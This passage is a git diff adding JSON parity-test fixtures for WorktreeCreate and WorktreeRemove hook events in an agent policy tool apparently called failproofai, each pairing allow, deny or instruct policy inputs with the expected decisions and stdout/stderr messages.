&a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..299ee56a --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..42a34484 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..3736ccb5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b5e432c4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4cfc68ef --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..581b4428 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..220281a9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..911ee04b --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4e02191a --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c9e1def5 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3e80f868 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d1a74899 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fc8c64b1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ad11c674 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..abce9afd --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ea7e8fda --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c71056fc --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bdf6fcc9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7c186a4c --- /dev/null +++ b/__tests__/parity/fixtures/pi/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + 